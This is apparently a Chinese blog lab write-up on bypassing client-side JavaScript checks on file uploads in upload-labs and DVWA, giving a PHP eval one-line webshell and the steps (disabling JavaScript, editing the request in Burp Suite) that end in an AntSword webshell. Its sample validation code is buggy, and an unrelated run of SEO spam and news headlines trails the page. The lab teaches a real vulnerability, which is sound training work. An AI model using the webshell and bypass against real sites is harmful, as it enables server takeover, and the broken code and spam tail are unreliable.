【文件上传绕过】——前端检测_前端js验证漏洞

18 篇文章 22 订阅
订阅专栏

一、实验目的:

1、通过本次实验掌握js验证原理
2、通过自写代码学习js验证过程;
3、通过upload-labs闯关游戏(Pass-01)掌握js前端绕过技术。

二、工具:

BurpSuite
火狐/谷歌浏览器
AntSword(蚁剑)

三、实验环境:

靶 机: windows10虚拟机:192.168.100.150
      自写上传页面代码
      文件上传漏洞闯关游戏
      DVWA靶场

攻击机: 物理机

四、实验目的:

1、自写上传代码,学习前端js验证过程及漏洞产生的原理;
2、通过upload-labs-master文件上传漏洞闯关游戏Pass-01DVWA靶场-low级别,掌握js绕过技术。

五、漏洞说明:

1. 漏洞原理:

  Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

2. js前端验证过程代码:

1、在windows10虚拟机的网站主目录下,创建一个fileupload/js_test/目录,自己构建上传页面,上传页面代码,前端验证index.html文件如下所示:

<!DOCTYPE html>
<html>
<head>
	<title>文件上传</title>
  <!-- 这里进行编码,编码格式为UTF-8,防止浏览器出现中文乱码 --> 
	<meta charset="utf-8">
</head>
<body>
  <!-- enctype="multipart/form-data":对表单传输的数据不需要进行编码(为防止传入后台进行编解码过程中,出现问题,故不进行编码处理) --> 
<form action="fileupload.php" onsubmit="return checkupload();" method="POST" enctype="multipart/form-data">
	请选择要上传的文件:<input type="file" name="uploadfile">
	<input type="submit" name="submit" value="提交">
</form>
<!-- 下面是使用js代码对上传的文件进行前端验证 --> 
<script type="text/javascript">
	function checkupload() {
    // alert(111);
    // 对上传的文件类型进行验证:
    // 1.获取上传文件名:
		var filetag = document.getElementById("uploadfile");
		var filename = filetag.value;
		// alert(filename)
    // 2.截取文件后缀名:
		var lastloc = filename.lastIndexof(".")+1;
		// alert(lastloc);
		var suffix = filename.substring(lastloc);
		// alert(suffix);
    // 3.对文件类型进行验证:
		if (suffix != "jpg"|"png") {
			alert("文件类型错误,上传失败");
			return false; 
		}
	}
</script>
</body>
</html>

2、在同一个目录下,创建一个后端fileupload.php文件:

<?php
header("Content-Type:text/html;charset=utf-8"); // 为了避免浏览器中文乱码,对页面进行编码,编码格式为utf-8
echo "<pre>";  //对数据进行格式化输出
if(isset($_FILES["file"])){
    $file = $_FILES["file"];
    $filename=$file["tmp_name"];
    $name=$file["name"];
    $name1=iconv("utf-8","gbk",$name); // 将字符串$name 从utf-8转换编码到gbk。这里是为了防止上传到服务器时,图片在服务器出现中文乱码。
    $destination="./upload/".$name1;
    move_uploaded_file($filename,$destination);
    }else{
        echo "上传文件有误";
    }
?>

六、实验过程:

1. 判断是否存在前端js绕过漏洞

  按F12(或者:在网页空白处"右击"-->选择:"检查")打开调试面板,选择网络,然后上传图片文件非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)

1.1 上传非图片文件:

1、创建一个test.php文件:
文件内容:

<?php @eval($_REQUEST['666']); ?>

2、通过物理机访问URL,打开检查元素,选中网络,并上传文件test.php:

http://192.168.100.150/upload-labs-master/Pass-01/index.php


3、点击上传文件后,提示不允许上传该文件,并且没有数据流量产生:
通过上面的操作,发现没有数据向后台发送,说明前端有js验证,存在js绕过漏洞。

1.2 上传图片文件:

1、通过物理机访问URL,打开检查元素,选中网络,并上传文件test.jpg:

2、点击上传文件后,发现网络中有数据流量产生:
通过上图可以看到,网络栏有数据传输,说明有数据向后台发送。

2. 绕过方法一:删除或者禁用js:

2.1 upload-labs闯关游戏(Pass-01):

通过windows10虚拟机 中的 upload-labs闯关游戏(Pass-01)进行实验:

1、在输入框中输入about:config点击接受

2、在搜索框中输入javascript然后找到javascript.enabled选项双击,出现false:


3、回到upload-labs-master选择第一关上传php文件:

通过上面操作,发现已经上传成功。

4、上传成功后允许js代码运行,如下图所示:
注:不开启js代码的话,如果页面通过ajxs编写的,可能就无法实现相应功能,比如这里的文件上传功能可能就不能使用了。

2.2 DVWA靶场-low级别:

1、打开DVWA靶场-low级别

2、上传一个1.jpg文件:


3、上传完成后,会显示文件路径,并会提示成功上传:


4、可以正常访问:

5、接下来,上传一个一句话木马文件test.php
文件内容:

<?php @eval($_REQUEST['666']); ?>

6、可以正常上传,并进行访问,并且能够解析成功:

3. 绕过方法二:使用代理上传文件,比如Burp Suite

1、在windows10虚拟机 桌面创建test.php文件,写入一句话木马保存,然后将后缀名改为jpg:

<?php @eval($_REQUEST['666']); ?>

2、进入闯关游戏Pass-01,点击浏览选中创建好的jpg文件:

3、打开Burp Suite,开启流量拦截:

4、在浏览器里面,打开Burp Suite代理流量,然后点击上传:

5、发现Burp Suite已经抓到数据:

6、将文件格式改成php文件,点击Forward发送数据包,并关闭浏览器代理:

7、查看windows10虚拟机\WWW\upload-labs-master\upload文件夹,出现test.php文件上传成功:

8、选中图片右击,选择复制图像链接,即可获得我们上传文件的URL,并进行访问:

9、把复制的URL,粘贴到蚁剑,测试连接,并添加连接:


10、可以看到已经成功获得windows10虚拟机的webshell:

AWD攻防漏洞分析——文件上传
01-20
概述 这个漏洞在DVBBS6.0时代被hacker们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级高,入侵中上传漏洞也是常见的漏洞。 导致改漏洞的原因在于代码作者没有对访客提交的数据进行验或者过滤不严,可以直接提交修改过的数据绕过扩展名的验。 上传方法 1、直接上传Webshell 2、绕过客户端检测上传webshell 3、绕过服务器文件扩展名检测上传webshell 4、绕过服务端MIME类型检测上传webshell 5、绕过文件内容检测上传webshell 6、绕过服务端目录路径检测上传webshell 7、绕过服务端漏洞上传webshell 8、利用.htacc
2022年文件上传漏洞绕过姿势整理,过waf版
11-20
2022年文件上传漏洞绕过姿势整理,过waf版,绕过思路:对文件的内容,数据。数据包进行处理。2.通过替换大小写来进行绕过
文件上传常用绕过方式
最新发布
weixin_43077878的博客
04-02 923
1.前端
PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍
10-24
主要介绍了PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍,这个漏洞很久之前(大概5年前)被提出来了,到现在的最新版本中依然存在,需要的朋友可以参考下
第一节 文件上传-绕过JS验证-01
09-15
第一节 文件上传-绕过JS验证-01
文件上传漏洞-01】文件上传漏洞及其防御
cc
02-13 6380
文件上传Web应用必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站等。如果服务器配置不当或者没有对上传的文件后缀类型进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞文件上传漏洞产生原因除了未对文件后缀进行严格的过滤外,还有一部分是攻击者通过Web服务器的解析漏洞来突破Web应用程序的防护,如Apache、IIS等解析漏洞
网络安全中如何绕过前端验证的功能
xs9716的博客
01-25 633
绕过前端验证
1-Web安全——文件上传漏洞
网络安全
08-20 4166
1. 上传文件漏洞原理 现在大部分web应用程序都有上传文件的功能,例如个人博客上传各种文件和图片,招聘网站上传doc文件格式的简历等等。只要web应用程序有上传文件的功能,就可能会存在上传文件漏洞。 为什么会有上传文件漏洞? 一般用户在上传文件时,如果web应用程序的代码没有对上传的文件进行严格的校验和过滤时,容易出现允许上传任意文件的情况,然后恶意攻击者利用这一点上传恶意脚本文件(aspx,php,jsp等文件)到服务器,从而获取网站的管理员权限,对服务器造成巨大威胁,这个恶意文件则被称为webs
前端如何防止XSS攻击
HarryHY的博客
08-09 6292
什么是XSS攻击 XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各...
前端安全问题及防范
crazy_jialin的博客
11-16 2749
XSS攻击 XSS(Cross-Site Scripting,跨站脚本),是比较常见的安全漏洞问题,其主要的攻击方式是通过表单或者页面url参数来注入一些可执行的代码,页面中用到这些字段的地方,如果没有经过处理,就会把他们当做代码来执行,从而造成安全事故。 根据攻击的影响范围,我们可以分为三类:DOM型、反射型、存储型,下面分别介绍这三种攻击方式。 DOM型 DOM型攻击指的是在前端页面中,直接通过url解析参数的攻击方式,不经过后台接口处理。用node起了一个web服务,用来测试,源码地址: https:
文件上传漏洞常见绕过方法
05-26
1、前端js检测文件格式 2、上传的文件时加入了“Content-Type”验证 3、文件后缀验证 4、文件后缀黑名单 5、文件头验证 6、文件内容初级验证 7、文件上传+文件包含
【土木人自学网安Day3】文件上传漏洞介绍与绕过的简单应用
qq_44117967的博客
02-29 923
文件上传漏洞介绍与绕过的简单应用
iwebsec文件上传漏洞-前端JS过滤绕过
qq_56041380的博客
03-27 713
前端JS过滤绕过的原理是:应用程序是在前端通过JS代码进行验证,而不是在程序后端进行验证,这样攻击者就可以通过修改前端JS代码绕过上传过滤,上传木马。
文件上传之路之二:绕过前端JS检测上传
weixin_62715196的博客
08-14 121
绕过前端js检测文件上传,用手工注入或者使用工具注入,来实现文件上传,通过实操进一步去了解文件上传漏洞
文件上传绕过】一、前端js检测后缀绕过
ssrf
10-09 2067
文章目录一、描述二、检测代码三、通过burpsuite抓包修改文件后缀进行绕过 一、描述 Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。 二、检测代码 定义允许上传的文件类型(白名单) function checkFile() { var file = document.getElementsByName('upload_file'
[By Pass] 文件上传绕过方式
weixin_43586169的博客
06-09 1270
详细描述了Upload_labs的通过过程,过程中有因为版本问题没有成功的案例,如果有感兴趣的可以修改版本和配置文件,进行成功通过
逻辑漏洞-----登录前端验证漏洞
qq_44418229的博客
07-10 2835
逻辑漏洞-----登录前端验证漏洞
WEBshell与文件上传漏洞
LJH1999ZN的博客
02-19 4590
一、文件上传漏洞的原理 如果web应用程序对上传文件的安全性没有过滤和校验,攻击者可以通过上传webshell恶意文件对服务器进行攻击 。 二、文件上传的原理 1.有文件上传功能 2.上传文件的目录能解析脚本文件 3.能访问到上传的文件 三、文件上传攻击 文件上传防护和绕过手段 1.文件上传漏洞--绕过前端js检测 由于网站客户端对文件的上传类型做了限制,不允许我们上传.php文件,我们可以通过bp抓取发送数据包,然后将数据包做改变即可 ...
文件上传漏洞客户端js前端查及绕过限制的流程
05-27
文件上传漏洞指的是攻击者可以通过上传恶意文件来执行任意代码或者获取服务器上的敏感信息。在前端查方面,可以通过以下步骤来查和防止文件上传漏洞的发生: 1. 查文件类型:客户端可以通过对文件类型的查来防止用户上传恶意文件。这可以通过在前端使用JavaScript来实现,或者通过使用一些第三方库来实现。在查文件类型时,应该使用白名单的方式来限制允许上传的文件类型。 2. 查文件大小:客户端可以通过对文件大小的查来限制用户上传过大的文件。这可以通过在前端使用JavaScript来实现。 3. 查文件名称:客户端可以通过对文件名称查来防止用户上传含有恶意脚本的文件。这可以通过在前端使用JavaScript来实现。 但是,这些前端查都可以被攻击者绕过,因此还需要在服务器端进行进一步的查和过滤。在服务器端,可以采取以下措施来防止文件上传漏洞的发生: 1. 验证文件类型:在服务器端,应该再次验证文件类型,以确保文件类型符合预期。 2. 验证文件大小:在服务器端,应该再次验证文件大小,以确保文件大小符合预期。 3. 验证文件内容:在服务器端,应该对文件内容进行查,以确保文件中不包含恶意代码或者其他危险内容。 总之,前端查只是一种基本的防御措施,但是还需要在服务器端进行更加严格的查和过滤,以确保文件上传漏洞不会发生。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
写文章

热门文章

  • 【工具使用】——Metasploit(MSF)使用详解(超详细) 90790
  • VMware 16 安装 Windows server 2012 超详细 15269
  • msf-Msfvenonm生成后门木马 14169
  • sqlmap使用教程(超详细) 13877
  • 【文件上传绕过】——二次渲染漏洞 13355

分类专栏

  • 环境搭建 7篇
  • 漏洞复现 2篇
  • linux系统 7篇
  • 遇到的问题及其解决方法 9篇
  • 工具使用 8篇
  • 内网—内网转发 3篇
  • 专题文章汇总 1篇
  • 内网—权限提升 1篇
  • 内网渗透 9篇
  • 渗透测试 18篇
  • 网安题库

最新评论

  • 【内网—内网转发】——代理转发_SSH代理转发

    Thomas Danny: 大佬,后面的操作的呢

  • 【工具使用】——Metasploit(MSF)使用详解(超详细)

    Aaron 666: 太酷了

  • 【工具使用】——Metasploit(MSF)使用详解(超详细)

    ≡丶: 这文章只能说NB了

  • msf-Msfvenonm生成后门木马

    Master_寒蝉: 这谁啊,我不认识哈🤯

  • 【工具使用】——Metasploit(MSF)使用详解(超详细)

    Urahara78: NB,太细了,第一次在CSDN评论

大家在看

  • 计算机组成原理--第三章存储结构
  • 使用Python Flask构建Web应用 779
  • Superset二次开发之Github项目推送到GitLab仓库
  • 【效率提升】谷歌浏览器搜索技巧 706
  • Llama模型家族之RLAIF 基于 AI 反馈的强化学习(六) RLAIF 代码实战

最新文章

  • VMware 16 安装 Windows server 2012 超详细
  • [转]Apache Log4j2远程代码执行漏洞复现及修复建议
  • Debian Linux及kali程序安装卸载方式
2022年2篇
2021年48篇
2020年8篇

目录

目录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值

深圳SEO优化公司莆田企业网站设计哪家好西乡SEO按天扣费哪家好青岛seo网站推广推荐开封网站seo优化公司资阳网站搭建推荐承德网站搭建迁安SEO按天收费公司大鹏网站关键词优化哪家好阿坝SEO按天计费报价兰州英文网站建设哪家好黄南百度seo报价衡阳企业网站设计哪家好白城网站优化按天收费价格平湖百搜标王价格仙桃网站优化按天收费昭通百度网站优化公司玉树关键词按天计费价格延安设计网站多少钱东营百度竞价哪家好湘西seo优化多少钱台州网站改版哪家好莆田营销型网站建设哪家好驻马店优化绍兴网站改版报价邢台网站优化按天收费推荐醴陵网站搭建哪家好无锡网络营销汕尾建网站推荐延安SEO按天扣费价格昆明网站制作设计报价歼20紧急升空逼退外机英媒称团队夜以继日筹划王妃复出草木蔓发 春山在望成都发生巨响 当地回应60岁老人炒菠菜未焯水致肾病恶化男子涉嫌走私被判11年却一天牢没坐劳斯莱斯右转逼停直行车网传落水者说“没让你救”系谣言广东通报13岁男孩性侵女童不予立案贵州小伙回应在美国卖三蹦子火了淀粉肠小王子日销售额涨超10倍有个姐真把千机伞做出来了近3万元金手镯仅含足金十克呼北高速交通事故已致14人死亡杨洋拄拐现身医院国产伟哥去年销售近13亿男子给前妻转账 现任妻子起诉要回新基金只募集到26元还是员工自购男孩疑遭霸凌 家长讨说法被踢出群充个话费竟沦为间接洗钱工具新的一天从800个哈欠开始单亲妈妈陷入热恋 14岁儿子报警#春分立蛋大挑战#中国投资客涌入日本东京买房两大学生合买彩票中奖一人不认账新加坡主帅:唯一目标击败中国队月嫂回应掌掴婴儿是在赶虫子19岁小伙救下5人后溺亡 多方发声清明节放假3天调休1天张家界的山上“长”满了韩国人?开封王婆为何火了主播靠辱骂母亲走红被批捕封号代拍被何赛飞拿着魔杖追着打阿根廷将发行1万与2万面值的纸币库克现身上海为江西彩礼“减负”的“试婚人”因自嘲式简历走红的教授更新简介殡仪馆花卉高于市场价3倍还重复用网友称在豆瓣酱里吃出老鼠头315晚会后胖东来又人满为患了网友建议重庆地铁不准乘客携带菜筐特朗普谈“凯特王妃P图照”罗斯否认插足凯特王妃婚姻青海通报栏杆断裂小学生跌落住进ICU恒大被罚41.75亿到底怎么缴湖南一县政协主席疑涉刑案被控制茶百道就改标签日期致歉王树国3次鞠躬告别西交大师生张立群任西安交通大学校长杨倩无缘巴黎奥运

深圳SEO优化公司 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化